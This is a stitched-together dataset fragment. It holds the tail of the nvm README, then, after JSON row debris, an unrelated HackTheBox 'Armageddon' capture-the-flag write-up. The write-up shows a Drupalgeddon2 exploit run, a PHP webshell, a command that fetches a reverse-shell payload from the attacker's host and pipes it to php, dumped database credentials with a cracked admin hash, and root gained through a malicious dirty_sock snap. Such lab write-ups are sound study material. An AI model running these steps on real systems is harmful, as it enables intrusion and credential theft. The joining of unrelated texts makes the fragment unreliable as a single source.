bash\n```\n\nThe script clones the nvm repository to `~/.nvm` and adds the source line to your profile (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`).\n\n```sh\nexport NVM_DIR=\"$HOME/.nvm\"\n[ -s \"$NVM_DIR/nvm.sh\" ] && . \"$NVM_DIR/nvm.sh\" # This loads nvm\n```\n\nYou can customize the install source, directory, profile, and version using the `NVM_SOURCE`, `NVM_DIR`, `PROFILE`, and `NODE_VERSION` variables.\nEg: `curl ... | NVM_DIR=/usr/local/nvm bash` for a global install.\n\n*NB. The installer can use `git`, `curl`, or `wget` to download `nvm`, whatever is available.*\n\n**Note:** On Linux, after running the install script, if you get `nvm: command not found` or see no feedback from your terminal after you type:\n\n```sh\ncommand -v nvm\n```\nsimply close your current terminal, open a new terminal, and try verifying again.\n\n**Note:** On OS X, if you get `nvm: command not found` after running the install script, one of the following might be the reason:-\n - your system may not have a [`.bash_profile file`] where the command is set up. Simply create one with `touch ~/.bash_profile` and run the install script again\n - you might need to restart your terminal instance. Try opening a new tab/window in your terminal and retry.\n\nIf the above doesn't fix the problem, open your `.bash_profile` and add the following line of code:\n\n`source ~/.bashrc`\n\n- For more information about this issue and possible workarounds, please [refer here](https://github.com/creationix/nvm/issues/576)\n\n### Verify installation\n\nTo verify that nvm has been installed, do:\n\n```sh\ncommand -v nvm\n```\n\nwhich should output 'nvm' if the installation was successful. Please note that `which nvm` will not work, since `nvm` is a sourced shell function, not an executable binary.\n\n### Important Notes\n\nIf you're running a system without prepackaged binary available, which means you're going to install nodejs or io.js from its source code, you need to make sure your system has a C++ compiler. For OS X, Xcode will work, for Debian/Ubuntu based GNU/Linux, the `build-essential` and `libssl-dev` packages work.\n\n**Note:** `nvm` does not support Windows (see [#284](https://github.com/creationix/nvm/issues/284)). Two alternatives exist, which are neither supported nor developed by us:\n - [nvm-windows](https://github.com/coreybutler/nvm-windows)\n - [nodist](https://github.com/marcelklehr/nodist)\n\n**Note:** `nvm` does not support [Fish] either (see [#303](https://github.com/creationix/nvm/issues/303)). Alternatives exist, which are neither supported nor developed by us:\n - [bass](https://github.com/edc/bass) allows you to use utilities written for Bash in fish shell\n - [fast-nvm-fish](https://github.com/brigand/fast-nvm-fish) only works with version numbers (not aliases) but doesn't significantly slow your shell startup\n - [plugin-nvm](https://github.com/derekstavis/plugin-nvm) plugin for [Oh My Fish](https://github.com/oh-my-fish/oh-my-fish), which makes nvm and its completions available in fish shell\n - [fnm](https://github.com/fisherman/fnm) - [fisherman](https://github.com/fisherman/fisherman)-based version manager for fish \n\n**Note:** We still have some problems with FreeBSD, because there is no official pre-built binary for FreeBSD, and building from source may need [patches](https://www.freshports.org/www/node/files/patch-deps_v8_src_base_platform_platform-posix.cc); see the issue ticket:\n - [[#900] [Bug] nodejs on FreeBSD may need to be patched ](https://github.com/creationix/nvm/issues/900)\n - [nodejs/node#3716](https://github.com/nodejs/node/issues/3716)\n\n**Note:** On OS X, if you do not have Xcode installed and you do not wish to download the ~4.3GB file, you can install the `Command Line Tools`. You can check out this blog post on how to just that:\n - [How to Install Command Line Tools in OS X Mavericks & Yosemite (Without Xcode)](http://osxdaily.com/2014/02/12/install-command-line-tools-mac-os-x/)\n\n**Note:** On OS X, if you have/had a \"system\" node installed and want to install modules globally, keep in mind that:\n - When using nvm you do not need `sudo` to globally install a module with `npm -g`, so instead of doing `sudo npm install -g grunt`, do instead `npm install -g grunt`\n - If you have an `~/.npmrc` file, make sure it does not contain any `prefix` settings (which is not compatible with nvm)\n - You can (but should not?) keep your previous \"system\" node install, but nvm will only be available to your user account (the one used to install nvm). This might cause version mismatches, as other users will be using `/usr/local/lib/node_modules/*` VS your user account using `~/.nvm/versions/node/vX.X.X/lib/node_modules/*`\n\nHomebrew installation is not supported. If you have issues with homebrew-installed `nvm`, please `brew uninstall` it, and install it using the instructions below, before filing an issue.\n\n**Note:** If you're using `zsh` you can easily install `nvm` as a zsh plugin. Install [`zsh-nvm`](https://github.com/lukechilds/zsh-nvm) and run `nvm upgrade` to upgrade.\n\n**Note:** Git versions before v1.7 may face a problem of cloning nvm source from GitHub via https protocol, and there is also different behavior of git before v1.6, so the minimum required git version is v1.7.0 and we recommend v1.7.9.5 as it's the default version of the widely used Ubuntu 12.04 LTS. If you are interested in the problem we mentioned here, please refer to GitHub's [HTTPS cloning errors](https://help.github.com/articles/https-cloning-errors/) article.\n\n### Git install\n\nIf you have `git` installed (requires git v1.7+):\n\n1. clone this repo in the root of your user profile\n - `cd ~/` from anywhere then `git clone https://github.com/creationix/nvm.git .nvm`\n2. `cd ~/.nvm` and check out the latest version with `git checkout v0.33.6`\n3. activate nvm by sourcing it from your shell: `. nvm.sh`\n\nNow add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login:\n(you may have to add to more than one of the above files)\n\n```sh\nexport NVM_DIR=\"$HOME/.nvm\"\n[ -s \"$NVM_DIR/nvm.sh\" ] && \\. \"$NVM_DIR/nvm.sh\" # This loads nvm\n[ -s \"$NVM_DIR/bash_completion\" ] && \\. \"$NVM_DIR/bash_completion\" # This loads nvm bash_completion\n```\n\n### Manual Install\n\nFor a fully manual install, create a folder somewhere in your filesystem with the `nvm.sh` file inside it. I put mine in `~/.nvm` and added the following to the `nvm.sh` file.\n\n```sh\nexport NVM_DIR=\"$HOME/.nvm\" && (\n git clone https://github.com/creationix/nvm.git \"$NVM_DIR\"\n cd \"$NVM_DIR\"\n git checkout `git describe --abbrev=0 --tags --match \"v[0-9]*\" origin`\n) && . \"$NVM_DIR/nvm.sh\"\n```\n\nNow add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login:\n(you may have to add to more than one of the above files)\n\n```sh\nexport NVM_DIR=\"$HOME/.nvm\"\n[ -s \"$NVM_DIR/nvm.sh\" ] && . \"$NVM_DIR/nvm.sh\" # This loads nvm\n```\n\n### Manual upgrade\n\nFor manual upgrade with `git` (requires git v1.7+):\n\n1. change to the `$NVM_DIR`\n1. pull down the latest changes\n1. check out the latest version\n1. activate the new version\n\n```sh\n(\n cd \"$NVM_DIR\"\n git fetch origin\n git checkout `git describe --abbrev=0 --tags --match \"v[0-9]*\" origin`\n) && . \"$NVM_DIR/nvm.sh\"\n```\n\n## Usage\n\nTo download, compile, and install the latest release of node, do this:\n\n```sh\nnvm install node\n```\n\nAnd then in any new shell just use the installed version:\n\n```sh\nnvm use node\n```\n\nOr you can just run it:\n\n```sh\nnvm run node --version\n```\nOr, you can run any arbitrary command in a subshell with the desired version of node:\n\n```sh\nnvm exec 4.2 node --version\n```\n\nYou can also get the path to the executable to where it was installed:\n\n```sh\nnvm which 5.0\n```\n\nIn place of a version pointer like \"0.10\" or \"5.0\" or \"4.2.1\", you can use the following special default aliases with `nvm install`, `nvm use`, `nvm run`, `nvm exec`, `nvm which`, etc:\n\n - `node`: this installs the latest version of [`node`](https://nodejs.org/en/)\n - `iojs`: this installs the latest version of [`io.js`](https://iojs.org/en/)\n - `stable`: this alias is deprecated, and only truly applies to `node` `v0.12` and earlier. Currently, this is an alias for `node`.\n - `unstable`: this alias points to `node` `v0.11` - the last \"unstable\" node release, since post-1.0, all node versions are stable. (in semver, versions communicate breakage, not stability).\n\n### Long-term support\nNode has a [schedule](https://github.com/nodejs/LTS#lts_schedule) for long-term support (LTS) You can reference LTS versions in aliases and `.nvmrc` files with the notation `lts/*` for the latest LTS, and `lts/argon` for LTS releases from the \"argon\" line, for example. In addition, the following commands support LTS arguments:\n - `nvm install --lts` / `nvm install --lts=argon` / `nvm install 'lts/*'` / `nvm install lts/argon`\n - `nvm uninstall --lts` / `nvm uninstall --lts=argon` / `nvm uninstall 'lts/*'` / `nvm uninstall lts/argon`\n - `nvm use --lts` / `nvm use --lts=argon` / `nvm use 'lts/*'` / `nvm use lts/argon`\n - `nvm exec --lts` / `nvm exec --lts=argon` / `nvm exec 'lts/*'` / `nvm exec lts/argon`\n - `nvm run --lts` / `nvm run --lts=argon` / `nvm run 'lts/*'` / `nvm run lts/argon`\n - `nvm ls-remote --lts` / `nvm ls-remote --lts=argon` `nvm ls-remote 'lts/*'` / `nvm ls-remote lts/argon`\n - `nvm version-remote --lts` / `nvm version-remote --lts=argon` / `nvm version-remote 'lts/*'` / `nvm version-remote lts/argon`\n\nAny time your local copy of `nvm` connects to https://nodejs.org, it will re-create the appropriate local aliases for all available LTS lines. These aliases (stored under `$NVM_DIR/alias/lts`), are managed by `nvm`, and you should not modify, remove, or create these files - expect your changes to be undone, and expect meddling with these files to cause bugs that will likely not be supported.\n\n### Migrating global packages while installing\nIf you want to install a new version of Node.js and migrate npm packages from a previous version:\n\n```sh\nnvm install node --reinstall-packages-from=node\n```\n\nThis will first use \"nvm version node\" to identify the current version you're migrating packages from. Then it resolves the new version to install from the remote server and installs it. Lastly, it runs \"nvm reinstall-packages\" to reinstall the npm packages from your prior version of Node to the new one.\n\nYou can also install and migrate npm packages from specific versions of Node like this:\n\n```sh\nnvm install 6 --reinstall-packages-from=5\nnvm install v4.2 --reinstall-packages-from=iojs\n```\n\n### Default global packages from file while installing\n\nIf you have a list of default packages you want installed every time you install a new version we support that too. You can add anything npm would accept as a package argument on the command line.\n\n```sh\n# $NVM_DIR/default-packages\n\nrimraf\nobject-inspect@1.0.2\nstevemao/left-pad\n```\n\n### io.js\nIf you want to install [io.js](https://github.com/iojs/io.js/):\n\n```sh\nnvm install iojs\n```\n\nIf you want to install a new version of io.js and migrate npm packages from a previous version:\n\n```sh\nnvm install iojs --reinstall-packages-from=iojs\n```\n\nThe same guidelines mentioned for migrating npm packages in Node.js are applicable to io.js.\n\n### System version of node\nIf you want to use the system-installed version of node, you can use the special default alias \"system\":\n\n```sh\nnvm use system\nnvm run system --version\n```\n\n### Listing versions\nIf you want to see what versions are installed:\n\n```sh\nnvm ls\n```\n\nIf you want to see what versions are available to install:\n\n```sh\nnvm ls-remote\n```\n\nTo restore your PATH, you can deactivate it:\n\n```sh\nnvm deactivate\n```\n\nTo set a default Node version to be used in any new shell, use the alias 'default':\n\n```sh\nnvm alias default node\n```\n\nTo use a mirror of the node binaries, set `$NVM_NODEJS_ORG_MIRROR`:\n\n```sh\nexport NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist\nnvm install node\n\nNVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install 4.2\n```\n\nTo use a mirror of the io.js binaries, set `$NVM_IOJS_ORG_MIRROR`:\n\n```sh\nexport NVM_IOJS_ORG_MIRROR=https://iojs.org/dist\nnvm install iojs-v1.0.3\n\nNVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3\n```\n\n`nvm use` will not, by default, create a \"current\" symlink. Set `$NVM_SYMLINK_CURRENT` to \"true\" to enable this behavior, which is sometimes useful for IDEs. Note that using `nvm` in multiple shell tabs with this environment variable enabled can cause race conditions.\n\n### .nvmrc\n\nYou can create a `.nvmrc` file containing version number in the project root directory (or any parent directory).\n`nvm use`, `nvm install`, `nvm exec`, `nvm run`, and `nvm which` will all respect an `.nvmrc` file when a version is not supplied.\n\nFor example, to make nvm default to the latest 5.9 release for the current directory:\n\n```sh\n$ echo \"5.9\" > .nvmrc\n\n$ echo \"lts/*\" > .nvmrc # to default to the latest LTS version\n```\n\nThen when you run nvm:\n\n```sh\n$ nvm use\nFound '/path/to/project/.nvmrc' with version <5.9>\nNow using node v5.9.1 (npm v3.7.3)\n```\n\n### Deeper Shell Integration\n\nYou can use [`avn`](https://github.com/wbyoung/avn) to deeply integrate into your shell and automatically invoke `nvm` when changing directories. `avn` is **not** supported by the `nvm` development team. Please [report issues to the `avn` team](https://github.com/wbyoung/avn/issues/new).\n\nIf you prefer a lighter-weight solution, the recipes below have been contributed by `nvm` users. They are **not** supported by the `nvm` development team. We are, however, accepting pull requests for more examples.\n\n#### zsh\n\n##### Calling `nvm use` automatically in a directory with a `.nvmrc` file\n\nPut this into your `$HOME/.zshrc` to call `nvm use` automatically whenever you enter a directory that contains an\n`.nvmrc` file with a string telling nvm which node to `use`:\n\n```zsh\n# place this after nvm initialization!\nautoload -U add-zsh-hook\nload-nvmrc() {\n local node_version=\"$(nvm version)\"\n local nvmrc_path=\"$(nvm_find_nvmrc)\"\n\n if [ -n \"$nvmrc_path\" ]; then\n local nvmrc_node_version=$(nvm version \"$(cat \"${nvmrc_path}\")\")\n\n if [ \"$nvmrc_node_version\" = \"N/A\" ]; then\n nvm install\n elif [ \"$nvmrc_node_version\" != \"$node_version\" ]; then\n nvm use\n fi\n elif [ \"$node_version\" != \"$(nvm version default)\" ]; then\n echo \"Reverting to nvm default version\"\n nvm use default\n fi\n}\nadd-zsh-hook chpwd load-nvmrc\nload-nvmrc\n```\n\n## License\n\nnvm is released under the MIT license.\n\n\nCopyright (C) 2010-2017 Tim Caswell and Jordan Harband\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n## Running tests\nTests are written in [Urchin]. Install Urchin (and other dependencies) like so:\n\n npm install\n\nThere are slow tests and fast tests. The slow tests do things like install node\nand check that the right versions are used. The fast tests fake this to test\nthings like aliases and uninstalling. From the root of the nvm git repository,\nrun the fast tests like this:\n\n npm run test/fast\n\nRun the slow tests like this:\n\n npm run test/slow\n\nRun all of the tests like this:\n\n npm test\n\nNota bene: Avoid running nvm while the tests are running.\n\n## Bash completion\n\nTo activate, you need to source `bash_completion`:\n\n```sh\n[[ -r $NVM_DIR/bash_completion ]] && . $NVM_DIR/bash_completion\n```\n\nPut the above sourcing line just below the sourcing line for nvm in your profile (`.bashrc`, `.bash_profile`).\n\n### Usage\n\nnvm:\n> $ nvm Tab\n```\nalias deactivate install ls run unload\nclear-cache exec list ls-remote unalias use\ncurrent help list-remote reinstall-packages uninstall version\n```\n\nnvm alias:\n> $ nvm alias Tab\n```\ndefault\n```\n\n> $ nvm alias my_alias Tab\n```\nv0.6.21 v0.8.26 v0.10.28\n```\n\nnvm use:\n> $ nvm use Tab\n```\nmy_alias default v0.6.21 v0.8.26 v0.10.28\n```\n\nnvm uninstall:\n> $ nvm uninstall Tab\n```\nmy_alias default v0.6.21 v0.8.26 v0.10.28\n```\n\n## Compatibility Issues\n`nvm` will encounter some issues if you have some non-default settings set. (see [#606](/../../issues/606))\nThe following are known to cause issues:\n\nInside `~/.npmrc`:\n```sh\nprefix='some/path'\n```\nEnvironment Variables:\n```sh\n$NPM_CONFIG_PREFIX\n$PREFIX\n```\nShell settings:\n```sh\nset -e\n```\n\n## Installing nvm on Alpine Linux\nIn order to provide the best performance (and other optimisations), nvm will download and install pre-compiled binaries for Node (and npm) when you run `nvm install X`. The Node project compiles, tests and hosts/provides pre-these compiled binaries which are built for mainstream/traditional Linux distributions (such as Debian, Ubuntu, CentOS, RedHat et al).\n\nAlpine Linux, unlike mainstream/traditional Linux distributions, is based on [busybox](https://www.busybox.net/), a very compact (~5MB) Linux distribution. Busybox (and thus Alpine Linux) uses a different C/C++ stack to most mainstream/traditional Linux distributions - [musl](https://www.musl-libc.org/). This makes binary programs built for such mainstream/traditional incompatible with Alpine Linux, thus we cannot simply `nvm install X` on Alpine Linux and expect the downloaded binary to run correctly - you'll likely see \"...does not exist\" errors if you try that.\n\nThere is a `-s` flag for `nvm install` which requests nvm download Node source and compile it locally.\n\nIf installing nvm on Alpine Linux *is* still what you want or need to do, you should be able to achieve this by running the following from you Alpine Linux shell:\n\n```sh\napk add -U curl bash ca-certificates openssl ncurses coreutils python2 make gcc g++ libgcc linux-headers grep util-linux binutils findutils\ncurl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.6/install.sh | bash\n```\n\nThe Node project has some desire but no concrete plans (due to the overheads of building, testing and support) to offer Alpine-compatible binaries.\n\nAs a potential alternative, @mhart (a Node contributor) has some [Docker images for Alpine Linux with Node and optionally, npm, pre-installed](https://github.com/mhart/alpine-node).\n\n## Docker for development environment\n\nTo make the development and testing work easier, we have a Dockerfile for development usage, which is based on Ubuntu 14.04 base image, prepared with essential and useful tools for `nvm` development, to build the docker image of the environment, run the docker command at the root of `nvm` repository:\n\n```sh\n$ docker build -t nvm-dev .\n```\n\nThis will package your current nvm repository with our pre-defiend development environment into a docker image named `nvm-dev`, once it's built with success, validate your image via `docker images`:\n\n```sh\n$ docker images\n\nREPOSITORY TAG IMAGE ID CREATED SIZE\nnvm-dev latest 9ca4c57a97d8 7 days ago 1.22 GB\n```\n\nIf you got no error message, now you can easily involve in:\n\n```sh\n$ docker run -it nvm-dev -h nvm-dev\n\nnvm@nvm-dev:~/.nvm$\n```\n\nPlease note that it'll take about 15 minutes to build the image and the image size would be about 1.2GB, so it's not suitable for production usage.\n\nFor more information and documentation about docker, please refer to its official website:\n - https://www.docker.com/\n - https://docs.docker.com/\n\n## Problems\n\n - If you try to install a node version and the installation fails, be sure to delete the node downloads from src (`~/.nvm/src/`) or you might get an error when trying to reinstall them again or you might get an error like the following:\n\n curl: (33) HTTP server doesn't seem to support byte ranges. Cannot resume.\n\n - Where's my `sudo node`? Check out [#43](https://github.com/creationix/nvm/issues/43)\n\n - After the v0.8.6 release of node, nvm tries to install from binary packages. But in some systems, the official binary packages don't work due to incompatibility of shared libs. In such cases, use `-s` option to force install from source:\n\n```sh\nnvm install -s 0.8.6\n```\n\n - If setting the `default` alias does not establish the node version in new shells (i.e. `nvm current` yields `system`), ensure that the system's node `PATH` is set before the `nvm.sh` source line in your shell profile (see [#658](https://github.com/creationix/nvm/issues/658))\n\n## Mac OS \"troubleshooting\"\n\n**nvm node version not found in vim shell**\n\nIf you set node version to a version other than your system node version `nvm use 6.2.1` and open vim and run `:!node -v` you should see `v6.2.1` if you see your system version `v0.12.7`. You need to run:\n\n```shell\nsudo chmod ugo-x /usr/libexec/path_helper\n```\n\nMore on this issue in [dotphiles/dotzsh](https://github.com/dotphiles/dotzsh#mac-os-x).\n\n[1]: https://github.com/creationix/nvm.git\n[2]: https://github.com/creationix/nvm/blob/v0.33.6/install.sh\n[3]: https://travis-ci.org/creationix/nvm\n[4]: https://github.com/creationix/nvm/releases/tag/v0.33.6\n[Urchin]: https://github.com/scraperwiki/urchin\n[Fish]: http://fishshell.com\n"}}},{"rowIdx":264,"cells":{"text":{"kind":"string","value":"

\"Banner\"

\n

Creator: bertolis

\n\n# Personal thoughts\nEasy and multi-way machine. We use Drupalgeddon2 (SA-CORE-2018-002) vuln to get a reverse shell. Then we abuse our sudo privileges by installing a malicious snap package payload. Hope you'll find it useful; if so, consider [suporting](https://www.buymeacoffee.com/f4T1H21) a student to get `OSCP` exam and __+respecting my profile in HTB__.\n\n\n \"f4T1H\"\n \n\n
\n\n \"Support\"\n \n\n

\nNow, let me get right into it.\n\n---\n\n# Recon\nAs always, we start with nmap.\n```bash\nnmap -sS -sC -sV -p- -T4 -O 10.10.10.233\n```\n```bash\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 7.4 (protocol 2.0)\n| ssh-hostkey: \n| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)\n| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)\n|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)\n80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)\n|_http-generator: Drupal 7 (http://drupal.org)\n| http-robots.txt: 36 disallowed entries (15 shown)\n| /includes/ /misc/ /modules/ /profiles/ /scripts/ \n| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt \n| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt \n|_/LICENSE.txt /MAINTAINERS.txt\n|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16\n|_http-title: Welcome to Armageddon | Armageddon\n```\n\nThe only port open except `22/ssh` is `80/http`.
\n- `http-generator` is `Drupal 7`
\n- Supports PHP (look at the `http-server-header`)\n\nGood by far. Let's have a look at what is `Drupal`\n\n>Drupal is a free and open-source web content management framework written in PHP and distributed under the GNU General Public License. Drupal provides a back-end framework for at least 13% of the top 10,000 websites worldwide – ranging from personal blogs to corporate, political, and government sites.\n\nOkay, now ima go'n see the webpage.\n\n# 80/http\n\n![](src/initialweb.png)\n\nA login form (bu not working for new registrants).\n\n![](src/sources.png)\n\nIn its source codes, there's a file named `CHANGELOG.txt`.\n\n```bash\n┌──(root💀f4T1H)-[~/hackthebox/armageddon]\n└─> curl -s http://10.10.10.233/CHANGELOG.txt | head \n\nDrupal 7.56, 2017-06-21\n-----------------------\n- Fixed security issues (access bypass). See SA-CORE-2017-003.\n\nDrupal 7.55, 2017-06-07\n-----------------------\n- Fixed incompatibility with PHP versions 7.0.19 and 7.1.5 due to duplicate\n DATE_RFC7231 definition.\n- Made Drupal core pass all automated tests on PHP 7.1.\n```\n\nThe last change on the version we see is moving to `7.56`.\n\n```bash\n┌──(root💀f4T1H)-[~/hackthebox/armageddon]\n└─> searchsploit drupal 7.56\n----------------------------------------------------------------------------------- ---------------------------------\n Exploit Title | Path\n----------------------------------------------------------------------------------- ---------------------------------\nDrupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb\nDrupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt\nDrupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Executio | php/webapps/44449.rb\nDrupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasp | php/remote/44482.rb\nDrupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py\nDrupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Exe | php/remote/46510.rb\nDrupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt\nDrupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py\n----------------------------------------------------------------------------------- ---------------------------------\nShellcodes: No Results\n```\n# Foothold: Drupalgeddon 2\n\n`php/webapps/44449.rb` Let's try that one.\n\n```bash\n┌──(root💀f4T1H)-[~/hackthebox/armageddon]\n└─> searchsploit -m php/webapps/44449.rb\n Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution\n URL: https://www.exploit-db.com/exploits/44449\n Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb\nFile Type: Ruby script, ASCII text, with CRLF line terminators\n\nCopied to: /root/hackthebox/armageddon/44449.rb\n \n┌──(root💀f4T1H)-[~/hackthebox/armageddon]\n└─> ruby 44449.rb \nruby: warning: shebang line ending with \\r may cause problems\nUsage: ruby drupalggedon2.rb [--authentication] [--verbose]\nExample for target that does not require authentication:\n ruby drupalgeddon2.rb https://example.com\nExample for target that does require authentication:\n ruby drupalgeddon2.rb https://example.com --authentication\n\n```\n```bash\n┌──(root💀f4T1H)-[~/hackthebox/armageddon]\n└─> ruby 44449.rb http://10.10.10.233/\nruby: warning: shebang line ending with \\r may cause problems\n[*] --==[::#Drupalggedon2::]==--\n--------------------------------------------------------------------------------\n[i] Target : http://10.10.10.233/\n--------------------------------------------------------------------------------\n[+] Found : http://10.10.10.233/CHANGELOG.txt (HTTP Response: 200)\n[+] Drupal!: v7.56\n--------------------------------------------------------------------------------\n[*] Testing: Form (user/password)\n[+] Result : Form valid\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n[*] Testing: Clean URLs\n[!] Result : Clean URLs disabled (HTTP Response: 404)\n[i] Isn't an issue for Drupal v7.x\n--------------------------------------------------------------------------------\n[*] Testing: Code Execution (Method: name)\n[i] Payload: echo OPOYLTOW\n[+] Result : OPOYLTOW\n[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!\n--------------------------------------------------------------------------------\n[*] Testing: Existing file (http://10.10.10.233/shell.php)\n[i] Response: HTTP 404 // Size: 5\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n[*] Testing: Writing To Web Root (./)\n[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php\n[+] Result : &1' ); }\n[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!\n--------------------------------------------------------------------------------\n[i] Fake PHP shell: curl 'http://10.10.10.233/shell.php' -d 'c=hostname'\narmageddon.htb>>id\nuid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0\narmageddon.htb>>\n```\n\nBut we can't get a reverse shell from there, we face the following thing when we try.\n\n```\n[!] WARNING: Detected an known bad character (>)\n```\n\nLet's interact with the webshell directly and reverse connnect a shell.
\nFirst create a file named `shell`.
\nPut the followings inside the file.\n```php\n$sock, 1=>$sock, 2=>$sock),$pipes); ?>\n```\nOpen a web server using `php`
\nDo the curl request as follows.\n\n```bash\n┌──(root💀f4T1H)-[~/hackthebox/armageddon]\n└─> curl -s http://10.10.10.233/shell.php -d 'c=curl 10.10.14.77/shell | php'\nPHP Warning: fsockopen(): unable to connect to 10.10.14.77:2121 (Permission denied) in - on line 1\nPHP Warning: proc_open(): Descriptor item must be either an array or a File-Handle in - on line 1\n```\n\nWe got some error. Let's make it reverse connect to us from well known ports.
\nChange the port both in your nc listener and reverse shell.\n\n![](src/shell.png)\n\n# Lateral Movement: MySQL\n\nWe CAN NOT spawn a tty shell unfortunately.\nWe find mysql credentials in one of the files by grepping recursively.\n\n![](src/holdsql.png)\n\n![](src/mysql.png)\n\nInteractive mysql console is not working properly (since we don't have a tty). So we execute our commands by giving the mysql executable as a parameter.\n\n```bash\nsh-4.2$ mysql -h localhost -u drupaluser -pCQHEy@9M*m23gBVj -e \"select * from drupal.users\"\n<-u drupaluser -pCQHEy@9M*m23gBVj -e \"select * from drupal.users\" \nuid\tname\tpass\tmail\ttheme\tsignature\tsignature_format\tcreated\taccess\tlogin\tstatus\ttimezone\tlanguage\tpicture\tinit\tdata\n0\t\t\t\t\t\tNULL\t0\t0\t0\t0\tNULL\t\t0\t\tNULL\n1\tbrucetherealadmin\t$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt\tadmin@armageddon.eu\t\tfiltered_html\t1606998756\t1607077194\t1607076276\t1\tEurope/London\t\t0\tadmin@armageddon.eu\ta:1:{s:7:\"overlay\";i:1;}\n```\n```bash\nhashcat --example-hashes | less\n```\n\n![](src/search.png)\n\nhashcat hash -m 7900 /usr/share/wordlists/rockyou.txt\n\n```\n$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo\n```\n\nWe can now ssh into brucetherealadmin.\n\n# Privesc: `snapd` dirty_sock (CVE-2019-7304)\n\n```bash\n[brucetherealadmin@armageddon ~]$ sudo -l\nMatching Defaults entries for brucetherealadmin on armageddon:\n !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep=\"COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS\", env_keep+=\"MAIL PS1 PS2 QTDIR\n USERNAME LANG LC_ADDRESS LC_CTYPE\", env_keep+=\"LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\", env_keep+=\"LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\",\n env_keep+=\"LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\", secure_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin\n\nUser brucetherealadmin may run the following commands on armageddon:\n (root) NOPASSWD: /usr/bin/snap install *\n[brucetherealadmin@armageddon ~]$\n```\n\nOkay, let's google about exploits related with sudo.\nI found that one rigth here:\nhttps://github.com/initstring/dirty_sock\n\nBut we can't just execute that script as it does not work.\n\nI used the trojan in the dirty_sockv2.py and write a script in order to just execute and become root. You can find it [here](https://git.io/dirty_sock)\n\n```bash\n[brucetherealadmin@armageddon shm]$ chmod u+x lpe.py \n[brucetherealadmin@armageddon shm]$ ./lpe.py \n[+] Creating file...\n[+] Writing base64 decoded trojan...\n[+] Installing malicious snap...\ndirty-sock 0.1 installed\n\n[+] Deleting snap package...\n[+] Granting setuid perms to bash as root...\n[+] Here comes the PoC:\nuid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023\n\n[+] Deleting the previously created user...\n[+] Becoming root...\n.bash-4.2> id\nuid=1000(brucetherealadmin) gid=1000(brucetherealadmin) euid=0(root) egid=0(root) 